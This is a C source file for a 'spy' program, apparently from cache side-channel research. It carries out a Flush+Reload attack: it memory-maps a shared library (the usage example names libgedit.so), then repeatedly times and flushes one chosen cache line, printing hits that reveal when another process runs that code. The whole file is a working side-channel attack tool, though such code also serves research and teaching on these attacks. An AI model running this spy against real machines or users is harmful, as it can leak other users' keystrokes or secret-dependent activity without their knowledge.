text: #define _GNU_SOURCE
  #ifdef _WIN32
  #include <windows.h>
  #else
  #include <fcntl.h>
  #include <sys/mman.h>
  #endif
  #include <unistd.h>
  #include <stdio.h>
  #include <string.h>
  #include <sched.h>
  #include <stdint.h>
  #include "../cacheutils.h"
  
  // this number varies on different systems
  #define MIN_CACHE_MISS_CYCLES (155)
  
  size_t kpause = 0;
  void flushandreload(void* addr)
  {
    size_t time = rdtsc();
    maccess(addr);
    size_t delta = rdtsc() - time;
    flush(addr);
    if (delta < MIN_CACHE_MISS_CYCLES)
    {
      if (kpause > 0)
      {
        printf("%lu: Cache Hit (%lu cycles) after a pause of %lu cycles\n", time, delta, kpause);
      }
      kpause = 0;
    }
    else
      kpause++;
  }
  
  int main(int argc, char** argv)
  {
    char* name = argv[1];
    char* offsetp = argv[2];
    if (argc != 3)
    {    
      printf("  usage: ./spy file offset\n"
                   "example: ./spy /usr/lib/x86_64-linux-gnu/gedit/libgedit.so 0x42\n");
      return 1;
    }
    unsigned int offset = 0;
    !sscanf(offsetp,"%x",&offset);
  #ifdef _WIN32
    unsigned char* addr = (unsigned char*)LoadLibrary(name);
  #else
    int fd = open(name,O_RDONLY);
    if (fd < 3)
    {
      printf("error: failed to open file\n");
      return 2;
    }
    unsigned char* addr = (unsigned char*)mmap(0, 64*1024*1024, PROT_READ, MAP_SHARED, fd, 0);
  #endif
    if (addr == (void*)-1 || addr == (void*)0)
    {
      printf("error: failed to mmap\n");
      return 2;
    }
    while(1)
    {
      flushandreload(addr + offset);
      for (int i = 0; i < 3; ++i)
        sched_yield();
    }
    return 0;
  }
  